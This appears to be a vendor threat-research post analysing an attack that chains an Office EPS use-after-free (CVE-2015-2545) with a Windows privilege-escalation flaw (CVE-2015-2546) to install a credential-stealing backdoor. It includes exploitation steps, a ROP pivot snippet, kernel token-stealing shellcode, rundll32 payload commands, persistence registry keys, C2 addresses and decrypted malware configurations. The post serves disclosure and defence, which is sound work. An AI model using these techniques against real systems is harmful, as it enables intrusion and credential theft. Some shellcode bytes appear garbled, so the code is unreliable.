Two for One: Microsoft Office Encapsulated PostScript and Windows Privilege Escalation Zero-Days

FireEye recently uncovered an attack exploiting two previously unknown vulnerabilities, one in Microsoft Office (CVE-2015-2545) and another in Windows (CVE-2015-2546). Both vulnerabilities are patched this Tuesday because of Microsoft’s immediate response.

The attackers hid the exploit within a Microsoft Word document (.docx) that appeared to be a resume. The combination of these two exploits grant fully privileged remote code execution.

FireEye products and services identify this activity as Exploit.Downloader.docx.MVX, Malware.Binary.Docx, GINGERSNAP, and RUBYVINE within the user interfaces.

**Attack Overview**

The malicious document first gets control of the WINWORD.EXE process from within PostScript (PS) in an Encapsulated PostScript (EPS) file. This includes triggering CVE-2015-2545 in EPSIMP32.FLT, searching memory for gadgets, and pivoting to ROP. ROP marks the shellcode stage as executable via Kernel32!VirtualProtect, and executes it.

The shellcode stage loads a DLL that contains an exploit for CVE-2015-2546. The exploit elevates privileges of the current process to SYSTEM. As SYSTEM, the exploit injects a thread into explorer.exe that downloads a DLL from the attackers server and runs it with rundll32.exe.

The downloaded DLL decompresses, decodes, and drops to disk another DLL with the name adiec1.dll, which performs the following actions:

1. Checks network connectivity by querying major search engines: Google, Baidu, Yahoo, or Hotmail
2. Runs only during office hours (configurable) and if the OS version is Microsoft XP or higher
3. The backdoor is added as a Winlogon Fake Notification Package to be loaded as soon as the victim logs on to the system
4. Pulls commands from a list of compromised websites
5. Uses a symmetric key and custom encoding to send and receive data over the network
6. Stores the infection status as well as the configuration details in an encoded configuration file with the name apm.dat
7. Impersonates the logged on user to steal credentials
8. Installs as a Service if requested with the following names:
   a. Runtime Agent for Adobe Reader 9
   b. Windows P2P Tunneling Service
   c. User Search
9. Deletes itself if expiration date is exceeded
CVE-2015-2545 – Encapsulated PostScript (EPS) forall Use-After-Free (UAF) Exploit

The EPS exploit applies modern exploitation techniques to PostScript. Particularly, the exploit forges PostScript objects by allocating strings over freed objects in a use-after-free situation. Much like Flash exploits would corrupt Flash vectors to read/write out of bounds in the heap and loaded modules, this exploit forges a PostScript string object with size 0xffffffff. Similarly, as Flash exploits would corrupt Flash objects to redirect function table dereferences, this exploit does so with a forged PostScript file object.

CVE-2015-2545 Details
CVE-2015-2545 is a use-after-free vulnerability in forall enumeration in Encapsulated PostScript (EPS).

Encapsulated PostScript (EPS) is a DSC-conforming PostScript document with additional restrictions that is intended to be used as a graphics file format. EPS files are typically self-contained and predictable.¹ In this attack, a malicious EPS file is embedded within a Microsoft Office document.

To perform a set of operations on members of an enumerable PostScript object, such as an array or a string, EPS defines a forall operator that takes an array and a procedure as operands. The procedure is performed on each member of the array.

“If the first operand is a dictionary, forall pushes a key and a value on the operand stack and executes proc for each key-value pair in the dictionary. The order in which forall enumerates the entries in the dictionary is arbitrary. New entries put in the dictionary during execution of proc may or may not be included in the enumeration.”²

The following disassembly demonstrates the aforementioned logic—please note that there is a ptrNext pointer pointing to the next key-value pair in the dictionary. Within the deferred_exec function call, the exploit deletes the rest of the key-value pairs in the dictionary, and thus implicitly corrupts the ptrNext value. During the next iteration, ptrNext points to attacker controlled data, resulting in malicious program execution.

```
1002C64C loc_1002C64C:
1002C64C cmp   eax, ebx
1002C64E jz    short loc_1002C6A0
1002C650 lea   eax, [ebp+var_48]
1002C653 push   eax
1002C654 lea   eax, [ebp+elements]
1002C657 push   eax
1002C658 lea   eax, [ebp+ptrNext]  ; ptrNext initialized as -1
1002C65B push   eax
1002C65C lea   ecx, [esi+30h]
1002C65F call   get_userdict_pair
1002C664 lea   eax, [ebp+elements]
```

¹ https://en.wikipedia.org/wiki/Encapsulated_PostScript
² http://www-cdf.fnal.gov/offline/PostScript/PLRM2.pdf
Forged PostScript Objects
The EPS interpreter manipulates entities called PostScript objects. Some objects are data, such as numbers, booleans, strings, and arrays. Other objects are elements of programs to be executed, such as names, operators, and procedures. PostScript objects in memory usually have the structure shown in Figure 2.

```
struct PostScript object {
    dword    type;
    dword    attr;
    dword    value1;
    dword    value2;  // if array, point to userdict where store the array object
} ps_obj;
```

Figure 2 PostScript Object Struct

A user-defined dictionary has the structure shown in Figure 3.
```
struct {
    dword * pNext;  // or null
    dword    dwIndex;
    ps_obj   key;
    ps_obj   value;
} kv;
```

Figure 3 User-defined Dictionary Struct

With these structs in mind, a dictionary defined as in Figure 4 is present in memory as shown in Figure 5.
```
/aDictZ 3 dict def
aDictZ begin
/keyZ2 16#100000 array def
/keyZ3 [13] def
aDictZ end
```

Figure 4 Dictionary definition

```
039b8870 03a02148 03a02178 03a021a8 00000000 user dict
0:000> d 03a02148 la
03a02148 00000000 0000002b4 00000300 00000000
03a02158 039ddc78 04426b34 00030000 00000000
```
Within the forall procedure, the exploit frees the second and third objects from the dictionary, and allocates a new string object in their place. It writes data for a fake object into the new string (in the example below, to create a fake integer). Then, in the next iteration, the iterator receives a forged object from the interpreter consisting of the attacker-supplied data. First, the exploit uses this to leak a pointer to an object, as shown in Figure 6.

// Full Read and Write Primitive Development

Having already developed the UAF to forge limited objects that dereference and/or leak data, the exploit writes fake data to memory as shown in Figure 7.
It converts the data to a string type, with its base field set to 0 and length field set to 0x7fffffff. The string can then be used from PostScript to access the entire process space as seen in Figure 8.

Figure 8 Read and Write Primitive

Return-Oriented Programming
The exploit searches memory for gadgets by using built-in string operations on the forged string. Once the ROP chain is written into memory, the exploit forges a file type object with the
bytesavailable function pointer changed to point to the pivot. Finally, the exploit calls the bytesavailable function of the forged object (Figure 9), causing the EPS interpreter to pivot to the ROP chain.

```
canvas1 type /filetype eq {
  1 1 atan
  pop
  1 sin
  pop
  canvas1 % put forged filetype to operand stack
  bytesavailable % pivot to ROP
  pop
  1 cos
  pop
  exit
} if
```

Figure 9 Pivot to ROP with forged object

Shellcode

Once the ROP chain transfers control to the shellcode, the shellcode loads a DLL that exploits CVE-2015-2546 to elevate the process (see next section for details). As SYSTEM, the shellcode injects a remote thread into explorer.exe and returns execution to WINWORD.

The thread in explorer.exe then downloads and executes a DLL payload from the attacker’s server.

CVE-2015-2546 – tagPOPUPMENU Use-After-Free (UAF) Privilege Escalation Exploit

The attack contains embedded DLLs that elevate the current process to SYSTEM privileges by exploiting CVE-2015-2546. The two DLLs exploit the same vulnerability, but target either 32-bit or 64-bit Windows. The vulnerability exists in most versions of Windows, but these exploits target Windows 7 (and do not bypass Supervisor Mode Execution Protection (SMEP)).

CVE-2015-2546 Details

This is a traditional usermode callback UAF vulnerability. The root cause and exploitation techniques used are similar to the vulnerability CVE-2015-0057.

Within the vulnerable routine, xxxSendMessage initiates a user-mode callback. Through this callback, the attacker destroys the window and replaces the previously allocated structure with a maliciously crafted object. When the callback returns to the kernel, the vulnerable routine does not perform any validation of the dereferenced object. This results in the kernel trusting the malicious object, leading to elevation of privileges.

Exploitation Steps

1. Using the popular User32!gSharedInfo / CLIENTINFO.ulClientDelta kernel information disclosure techniques, forge a tagWND object in user mode that contains the WFSERVERSIDEPROC status flag. When set, WFSERVERSIDEPROC causes the kernel to trust the hwnd->lpfnWndProc function by default. (Please note, symbol "User32!gSharedInfo" only available for Windows 7 and later)
2. Allocate large numbers of contiguous kernel memory by calling the routine win32k!NtUserCreateAcceleratorTable. The usermode program can specify the size of tagACCELTABLE structures, so the attacker chooses the same size as the targeted tagPOPUPMENU structures.

3. Based on the gSharedInfo information disclosure trick, locate and free one or more tagACCELTABLE structures to create holes.

4. Allocate tagPOPUPMENU structures by calling the routine CreateWindowEx(Menu class is equal 0x8000). The heap will allocate this structure into one of the holes from step 3 as seen below:

```
1: kd> dd fdef1160
  fdef1160 00070182 00000000 00000000 00000005
  fdef1170 00000000 00000000 00000000 00000000 tagACCELTABLE object 
  fdef1180 00000000 00000000 00000008 00000000
  fdef1190 fdef1254 89758030 56080008 63617355
------------- ---------------------------------------------------------
  fdef11a0 0008010a 00000000 00000000 00000005 tagACCELTABLE object 
  fdef11b0 00000000 00000000 00000000 00000000 tagACCELTABLE object 
  fdef11c0 00000000 00000000 00000008 00000000
  fdef11d0 0002001e 89758030 56080008 6d707355
------------- ---------------------------------------------------------
  fdef11e0 00000000 00000000 fea12af0 00000000 tagPOPUPMENU object *
  fdef11f0 00000000 00000000 00000000 00000000 tagPOPUPMENU object *
  fdef1200 00000000 00000000 fffffff0 00000000
  fdef1210 000201a8 89758030 56080008 63617355
------------- ---------------------------------------------------------
  fdef1220 00050196 00000000 00000000 00000005
  fdef1230 00000000 00000000 00000000 00000000 tagACCELTABLE object 
  fdef1240 00000000 00000000 00000008 00000000
  fdef1250 00010138 89758030 46990008 20626747
------------- ---------------------------------------------------------
```

5. Within the vulnerable routine, xxxSendMessage(MN_SETTIMERTOOPENHIERARCHY) initiates a user-mode callback. Through this callback, the attacker destroys the window, which frees a block of memory. Related pseudocode is as follows:

```c
VOID FreePopup(POPPUPMENU ppopupmen)
{
    ...... 
    Validateppopupmenu(ppopupmen);
    UserFreePool(ppopupmen);
    ...... 
}
```

6. Before returning to the vulnerable routine in kernel mode, the attacker will invoke win32k!NtUserCreateAcceleratorTable again (in user mode). This action will occupy the kernel memory previously freed with a new tagACCELTABLE structure, replacing the previously allocated tagPOPUPMENU structure.

7. When the user-mode callback returns to the kernel, the vulnerable routine does not perform any validation of the dereferenced object. This results in the kernel trusting the malicious object, leading to elevation of privileges.
Elevation Procedure
Once executing shellcode in kernel mode, the 32-bit exploit elevates the current process to SYSTEM privileges as follows:

1. Stores the content of the Global Descriptor Table Register (GDTR) into writable page nt!_KUSER_SHARED_DATA 0xFFFFDF0000.

2. Find symbol nt!KiInitialPCR and then walks along _KPCR -> _KPRCB -> _ETHREAD -> _EPROCESS -> ActiveProcessLinks to SYSTEM Process.

3. Steal token from the SYSTEM.Token.

The logic of 64-bit shellcode, shown below in Figure 10, performs the same operations:

```
55    push    rbp
8bec  mov     ebp,esp
c8200000 enter    20h,0
4152   push    r10
4153   push    r11
49bab888000000000000 mov r10,888h     // Current PID
4c808da mov r11,rdx
65458b1c2518000000 mov rbx,qword ptr gs:[18h] // gs:[18h] means nt!KiInitialPCR
488b03  mov rax,rbx
48058081000 add rax,188h
488b00 mov rax,qword ptr [rax]     // _KPRCB
488b4078 mov rax,qword ptr [rax+78h] // _EPROCESS
488bd8 mov rbx,rbx
488b908881000 mov rbx,qword ptr [rbx+188h] // _EPROCESS.ActiveProcessLinks
4881e08881000 sub rbx,188h
488b808001000 mov rcx,qword ptr [rbx+188h]
4883f904 cmp rcx,4     // SYSTEM Process
75e5 jne
4883d0 mov rdx,rbx
488928881000 mov rdx,qword ptr [rdx+188h]
4881e8881000 sub rdx,188h
4888a8881000 mov rcx,qword ptr [rdx+188h]
493bca cmp rcx,r10
75e6 jne
4888b08882000 mov rcx,qword ptr [rbx+208h] // _EPROCESS.Token
48889a8882000 mov qword ptr [rdx+208h],rcx // Token Stealing
4888f6 mov rdi,rbx
415b pop r11
415a pop r10
c9 leave
5d pop rbp
c3 ret
```

Figure 10 64-bit kernel mode shellcode

Payload

First Stage
The exploit downloads a payload DLL from the attacker’s server and loads it with the following command:
rundll32.exe <random_name>,GetInstanceObjectEx -t abcd8888

The payload DLL contains a second-stage DLL encoded and LZNT1 compressed in the resource section. Once unpacked, the payload DLL writes the second-stage DLL (adiecl.dll 5f34be2e01b76e2902cc801a6156fdaf) to disk and runs it as follows:

rundll32.exe adiecl.dll,GetInstanceObjectEx –t init

The –t parameter can have three options:
1. init: Installs the DLL on the system, registry, and spawns multiple threads to start the backdoor
2. n: Checks to make sure it is running; otherwise, it restarts the threads
3. ui: Creates an event but does not perform any actions

The DLL checks if it is running in a debugger, and then proceeds to decode its configuration file (apm.dat).

Configuration File
The configuration file is obfuscated with a custom Base64 alphabet. An small example of this is shown in the table below. For full configurations, please review the appendix below.

<table>
<thead>
<tr>
<th>[FmMuZjAwO2oWfzVvXQ8?]</th>
<th>[configuration]</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jnghci0DJ3USCw?? = RDh0MGFmfS1AMLw?</td>
<td>StartTime=1440813579</td>
</tr>
</tbody>
</table>

The configuration file also contains the hours in which the malware should run (based on the local time of the infected machine) as the following shows:

officeStart=06:00
officeEnd=20:00
sat=1
sun=1
expiry=-1

In this instance, the payload runs only between 6:00 to 20:00 from Monday to Friday and does not expire, but could be set to expire in a number of days.

The malware checks Internet connectivity by attempting to access google.com, adobe.com, or baidu.com. If the payload receives a response of “HTTP 200 OK”, it picks a pollcommandsite from its configuration and connects to the server to retrieve commands:

pollcommandsite1=RXKp://nic.net46[.]net/login.php?user=seema

pollcommandsites are attacker-controlled servers. In this case, the attackers appear to have compromised the web server in question as evidenced by Figure 11. The owner of one of the C2 domains, nic.net46[.]net, complains that the domain resolves to the wrong IP:
Figure 11 Compromised infrastructure

The attacker’s server sends commands to the client in the following format:

<size-4bytes><unk-4bytes><unk-2bytes><command_4bytes><command_content>

Then, the backdoor connect to each of the slpSites in the configuration. One, if not all three, of which is a compromised website:

| slpSite1=190.96.47[.]9 |
| slpSite2=103.13.228[.]132 |
| slpSite3=180.149.240[.]159 |

The backdoor sends a POST Request to each slpSite as follows:

POST / HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible)
Host: 103.13.228[.]132
Content-Length: 24
Connection: Keep-Alive
Cache-Control: no-cache
ud7LDjtsTHe2tWeC8DYo8A**

HTTP/1.1 200 OK
Date: Fri, 04 Sep 2015 11:15:01 GMT
Server: Apache/2.2.15 (CentOS) DAV/2
Set-Cookie: PHPSESSID=vt18kncl6emcfi3him7qn5rsr1;
Content-Length: 7713
Connection: close
Content-Type: text/html;
charset=UTF-8
The User-Agent is hard-coded. The HTTP POST data contains a token for authentication to the server. After the above request, the backdoor sends a second POST with the same authentication token.

Additional Behavior
The backdoor grabs the explorer access token, impersonates the logged-on user, enumerates network credentials via the CredEnumerateA API, and eventually decrypts passwords (Generic Type) via the CryptUnprotectData API.

The malware is renamed after a reboot from adiecl.dll to apm.dll via registry:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SESSION MANAGER\"PendingFileRenameOperations" = \\?
C:\Program Files\Adobe\Reader\9.0\Dis\adiecl.dll\0\?
C:\Program Files\Adobe\Reader\9.0\Dis\apm.dll\0

Finally, the backdoor is added as a Winlogon Fake Notification Package in order to be loaded as soon as the victim logs into the system:

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\ATIExfba32

| hKey = HKEY_LOCAL_MACHINE
| Subkey = "SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify\ATIExfba32pHandle = 0007F9DC

Asynchronous: 1
DllName: C:\Program Files\Adobe\Reader\9.0\Dis\apm.dll
Impersonate: 0
Startup: WSE

Related Malware

We’ve uncovered four payloads attributable to this threat actor:

<table>
<thead>
<tr>
<th>Corrupted sample, mstun32.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
</tr>
<tr>
<td>SHA-1</td>
</tr>
<tr>
<td>SHA-256</td>
</tr>
<tr>
<td>Compile</td>
</tr>
<tr>
<td>On VT</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>P2P tunnel service fake, p2ptun.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
</tr>
<tr>
<td>SHA-1</td>
</tr>
<tr>
<td>SHA-256</td>
</tr>
<tr>
<td>Compile</td>
</tr>
<tr>
<td>On VT</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Stage 2 DLL</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
</tr>
<tr>
<td>SHA-1</td>
</tr>
<tr>
<td>SHA-256</td>
</tr>
<tr>
<td>Compile</td>
</tr>
</tbody>
</table>
Concrete observable activity exists since 2012 when one of the related payloads (mstun32.exe) was uploaded to Virus Total (VT); however, the compile date of mstun32.exe goes back to 2009-12-17, and passive DNS records for C2 (hXXp://updates.analyticspro.co[.]cc/img/0.gif) span from 2010-10-11 to 2011-10-08. Compile dates can easily be forged, but these two data points suggest that the attack using mstun32.exe occurred well before the payload landed on VT in 2012.

Additional IOCs

The appendix includes decrypted configuration files for 3 of the 4 payloads. They are great references for IOCs, containing C2 infrastructure, file names, file paths, and registry keys.

For the corrupted payload mstun32.exe, a few possible IOCs are apparent:

<table>
<thead>
<tr>
<th>Path</th>
<th>APPDATA\Microsoft\Netmeeting\1328-0013\mstun32.dll</th>
</tr>
</thead>
<tbody>
<tr>
<td>C2</td>
<td>hXXp://updates.analyticspro.co[.]cc/img/0.gif</td>
</tr>
<tr>
<td>C2</td>
<td>61.31.203[.]98</td>
</tr>
</tbody>
</table>

Acknowledgements

FireEye would like to thank Elia Florio of Microsoft working with us on this issue.
Appendix

Note that configuration files are generated at runtime. Consequently, some values are specific to the environment (e.g., StartTime, Windows users in file paths, and so on).

Configuration - 66874856da4210163bc3821ecd484d20

StartTime=1440813579
RunTimeFolderUser=C:\Documents and Settings\daniel\Adobe\Reader\9.0\RunTimeFolderAdmin=C:\Program Files\Adobe\Reader\9.0\Dis\RunTimeFileNameDll=apm.dll
ServiceKeyName=ATIExfba32
ServiceKeyNameDll=ATIExfba32
ServiceDisplayName=Runtime Agent for Adobe Reader 9
ServiceDescription=Runtime Agent for Adobe Reader 9
cmdpathUser=C:\Documents and Settings\daniel\Adobe\Reader\9.0\cmdpathAdmin=C:\Program Files\Adobe\Reader\9.0\Dis\cmdname=avm.exe
UUID=22c73b88-9440-4e5d-a983-ac00aba8df1c
WMIUUID=F
installStatus=0
username1=
username2=
username3=
password1=
password2=
password3=
pollcommandsites1=http://nic.net46[.]net/login.php?user=seema
pollcommandsites2=
pollcommandsites3=
pollcommandTime=60
jobNumber=0
slpSite1=190.96.47[.]9
slpSite2=103.13.228[.]132
slpSite3=180.149.240[.]159
slpPort1=80
slpPort2=80
slpPort3=80
pollSlpTime=60
officeStart=08:00
officeEnd=18:00
sat=1
sun=1
expiry=90
delay=0
proxy=
proxyType=HTTP
checkurl1=http://www.google.com/
checkurl2=http://www.yahoo.com/
checkurl3=http://www.hotmail.com/
lastppassword=
lastpusername=
lastProxyType=
lastProxy=
internetTimeout=120000
idleTimeout=2
initialName=adiecl.dll
firsttime=DONE

Configuration - b0121ef3440e37599d73a4895cb3499f
StartTime=1441091593
RunTimeFolderUser=C:\Documents and Settings\Administrator\Application
Data\identities\{6F15VE41-183A-F150-1B13-33H85E912551}\RunTimeFolderAdmin=C:\Documents and Settings\Administrator\Application
Data\Microsoft\Netmeeting\2378-1013-4567\RunTimeFileName=p2ptun.exe
ServiceKeyName=p2ptunsvc
ServiceKeyNameDll=p2ptunsvc
ServiceDisplayName=Windows P2P Tunneling Service
ServiceDescription=Enables an authorized user to tunnel through common P2P Services.
If this service is disabled, any services that explicitly depend on it will fail to start.
cmdpathUser=C:\Documents and Settings\Administrator\Application
Data\identities\{6F15VE41-183A-F150-1B13-33H85E912551}\plugins\cmdpathAdmin=C:\Documents and Settings\Administrator\Application
Data\Microsoft\Netmeeting\2378-1013-4567\plugins\cmdname=msntun.exe
UUID=2d22e764-ac75-44a4-8564-39426eb42dd3
WMIUUID=
installStatus=0
pusername1=administrator
pusername2=admin
pusername3=root
ppassword1=admin123
ppassword2=admin123
ppassword3=password
pollcommandsite1=
pollcommandsite2=
pollcommandsite3=
pollcommandTime=1
rwj\{ujmieDSr=0
slpSite1=192.192.114[.]1
slpSite2=127.0.0.1
slpSite3=127.0.0.1
slpPort1=80
slpPort2=80
slpPort3=80
pollSlpTime=5
officeStart=06:00
officeEnd=20:00
sat=1
sun=1
expiry=-1
delay=0
proxy=
proxyType=
checkurl1=http://www.google.com/
checkurl2=http://www.adobe.com/
checkurl3=http://www.baidu.com/
lastpassword=admin123
lastusername=administrator
lastProxyType=
lastProxy=
internetTimeout=120000
idleTimeout=5
falseName=winver32.exe
firsttime=DONE
[XVEI]
gi=1

Configuration - eaec3e5334b937a526a418b88d63291c
StartTime=1441090892
RunTimeFolderUser=C:\Documents and Settings\Administrator\Searches\OfficeCache\
RunTimeFolderAdmin=C:\Program Files\Common Files\SpeechEngines\Microsoft\
RunTimeFileName=msofs.exe
ServiceKeyName=msofsnd
ServiceKeyNameDll=msofsn
ServiceDisplayName=User Search
ServiceDescription=Search function in Office. If this service is disabled, the search function will fail.
cmdpathUser=C:\Documents and Settings\Administrator\Searches\OfficeCache\
cmdpathAdmin=C:\Program Files\Common Files\SpeechEngines\Microsoft\
cmdname=msofse.exe
UUID=0ecef8a0-6558-4fda-a274-5d72fc90787f
WMIUUID=F
installStatus=0
username1=
username2=
username3=
password1=
password2=
password3=
pollcommandsite1=http://acc.procstat[.]com/read/resource.php?id=ppZVKda
pollcommandsite2=
pollcommandsite3=
pollcommandTime=45
jobNumber=0
slpSite1=209.45.65[.]163
slpSite2=geocities.efnet[.]at
slpSite3=box62.a-inet[.]net
slpPort1=80
slpPort2=80
slpPort3=80
pollSlpTime=45
officeStart=07:00
officeEnd=18:59
sat=0
sun=0
expiry=365
delay=0
proxy=
proxyType=
checkurl1=http://www.detik.com/
checkurl2=http://www.yahoo.com/
checkurl3=http://www.facebook.com/
lastpassword=
lastusername=
lastProxyType=
lastProxy=
internetTimeout=120000
idleTimeout=5
initialName=msofsc.dll
firsttime=DONE
[IEVA]
gi=1